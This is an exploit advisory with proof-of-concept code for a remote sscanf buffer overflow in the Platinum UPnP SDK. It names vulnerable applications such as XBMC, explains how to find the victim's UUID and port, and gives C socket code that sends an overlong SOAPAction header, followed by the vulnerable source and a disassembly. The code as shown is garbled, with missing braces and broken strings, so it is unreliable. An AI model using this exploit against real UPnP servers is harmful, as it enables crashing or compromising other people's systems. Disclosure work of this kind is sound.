Platinum SDK Library - POST UPnP 'sscanf' Buffer Overflow (PoC)












                  -POC CODE Remote Buffer Overflow -
! Exploit Title: Platinum SDK library post upnp sscanf buffer overflow !
Date: 28th October 2010
Author: n00b  Realname: *carl cope* 
Software Link:
Version: All versions are affected Mulitple vendors 
Tested on: Windows xp sp3,Vista sp2,Linux unbuntu 
Fixed versions :Platinum 0.6.0
-Mulitple vendors soap_action_name post upnp sscanf remote buffer overflow-


First of all while i was testing the upnp in the xbmc application i 
noticed after finding the vulnerable function in the source code it was 
because of the Platinum UPnP SDK which was used for upnp protocol.

There are more applications vulnerable to this exploit than i had first thought im 
not writing an exploit for them all as it would be pointless i've passed the information
to the developers of platinum sdk and when they have updated so will the rest of the 
vendors hope fully.

Any thing which uses this sdk is exploitable if you do decide to write an exploit for any
of the vulnerable applications please give credits to n00b for finding the bug.!!

The vendor has released a fix for this vulnerability

I would like to thank the vendor of the sdk for taking swift action and fixing this vulnerability
swiftly 10/10 for communications and working to get this issue resolved.


Version 2010-07-27 Platinum-SRC-0-6-0_632 SDK
This is a list of the applications that are using the platinum SDK library.

-Afected applications-
Asset UPnP              = <-- Tested and is exploitable Release v.3.
XBMC                    =                                   <-- Tested and is exploitable/Exploit released.
Google Simplify Media   =                 
qvivo                   =                  
doubletwist             =                        
Boxee                   =                               
BoxAmp                  =                 
Ventis Media            =                        
DVBSBridge              =                                
IntelligentShare        =               =
Foobar plugin foo_upnp  =
plex                    =
CommVault               =
Iwedia                  =
Mythtv                  =
Vdr-plugin-upnp         =

Any thing that use this sdk is exploitable till the update is available.
-Afected applications-

Aluigi   = Take care m8 and all the best for the future !!.
Corelan  = Keep up the good work thanks for the advice !!.
Exploit-db = Looking good guys keep up the good work !!.
XBMC-DEV = Nice work with the project looking nice !!.

The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!

#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>

'''          !!IMPORTATNT!!                       
The UUID must be set i've hardcoded this 
to make it easy to replace with the victim UUID
you can get the UUID number from the server
by issuing a get request to the vulnerable server
on port 00000 you can use a web browser to do this.
example =

Just a side note the port is random and once the xbmc
application is installed the UUID will be set up along 
with the port number at installation so you will have to 
do a port scan to find what port the service is running
on but once its found it will be on that port till it 
is reinstalled.Also the UUID will stay the same.

Universally Unique Identifier
XML example

I was not going to write an xml paraser just for this
when a web browser and a set of eyes can do it.:)

Platinum UPnP SDK
//compiled using gcc on linux.
//Cygwin on windows.

void error(char *mess)

int main(int argc, char *argv[])
    int sock;
    int input;
	struct sockaddr_in http_client;
    char buf[2000];

    unsigned int http_len;

    /* If there is more than 2 arguments passed print usage!!*/
    if (argc != 3)
        fprintf(stderr,"USAGE: Server_ip port\n");

    /* Create socket */
    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        error("Cant create socket");

    /* Construct sockaddr */
    memset(&http_client, 0, sizeof(http_client));
    http_client.sin_family = AF_INET;
    http_client.sin_addr.s_addr = inet_addr(argv[1]);
    http_client.sin_port = htons(atoi(argv[2]));

    /* Establish connection */
    if (connect(sock,
                (struct sockaddr *) &http_client,
                sizeof(http_client)) < 0)
        error("Failed to connect with remote host");

       //Build the upnp equest
        memcpy(buf, "POST /AVTransport/ ", 18);
        memcpy(buf+18, "0970aa46-ee68-3174-d548-44b656447658", 36); //Replace with uuid of the vulnerable server #
		memcpy(buf+54, "/control.xml HTTP/1.1\r\n", 79);
		strcat(buf, "SOAPACTION: \x22urn:schemas-upnp-org:service:AVTransport:1#");
                 "CONTENT-TYPE:text/xml; charset=\x22utf-8\x22\r\n"
		         "Content-Length: 345");
				 /* Send our request to the server*/
    http_len = strlen(buf);
    if (send(sock, buf, http_len, 0) != http_len)


                  -Vulnerable source code-
 This information was found using windows 7 + Visual c++ 2010 express.


 |   PLT_DeviceHost::ProcessPostRequest
 PLT_DeviceHost::ProcessHttpPostRequest(NPT_HttpRequest&              request,
                                       # const NPT_HttpRequestContext& context,
                                       # NPT_HttpResponse&             response) 
     NPT_Result                res;
     NPT_String                service_type;
     NPT_String                str;
     NPT_XmlElementNode*       xml = NULL;
     NPT_String                soap_action_header;
     PLT_Service*              service;
     NPT_XmlElementNode*       soap_body;
     NPT_XmlElementNode*       soap_action;
     const NPT_String*         attr;
     PLT_ActionDesc*           action_desc;
     PLT_ActionReference       action;
     NPT_MemoryStreamReference resp(new NPT_MemoryStream);
     NPT_String                ip_address  = context.GetRemoteAddress().GetIpAddress().ToString();
     NPT_String                method      = request.GetMethod();
     NPT_String                url         = request.GetUrl().ToRequestString(true);
     NPT_String                protocol    = request.GetProtocol();

     if (NPT_FAILED(FindServiceByControlURL(url, service, true)))
         goto bad_request;

     if (!request.GetHeaders().GetHeaderValue("SOAPAction"))
         goto bad_request;

       extract the soap action name from the header
     soap_action_header = *request.GetHeaders().GetHeaderValue("SOAPAction");
     char prefix[200];
     char soap_action_name[100];                    <--- 100 bytes allocated for the soap action name.
     int  ret;
     //FIXME: no sscanf
     ret = sscanf(soap_action_header, "%[^#]#%s",   <--- 
                 # prefix,                           <--- Bad very Bad.
                 # soap_action_name);                <--- 
     if (ret != 2)
        # goto bad_request;

     // read the xml body and parse it
     if (NPT_FAILED(PLT_HttpHelper::ParseBody(request, xml))) <--- BOOOM I WIN!!
        # goto bad_request;

 Disassembly of vulnerable function.!!
 025D2D23  lea         edx,[ebp-1F4h]  
 025D2D29  push        edx  
 025D2D2A  lea         eax,[ebp-188h]  
 025D2D30  push        eax  
 025D2D31  push        2F5E404h  
 025D2D36  lea         ecx,[ebp-44h]  
 025D2D39  call        NPT_String::operator char const * (1B1840Eh)  
 025D2D3E  push        eax  
 025D2D3F  call        @ILT+120575(_sscanf) (1AF7704h)  
 025D2D44  add         esp,10h  
 025D2D47  mov         dword ptr [ebp-1FCh],eax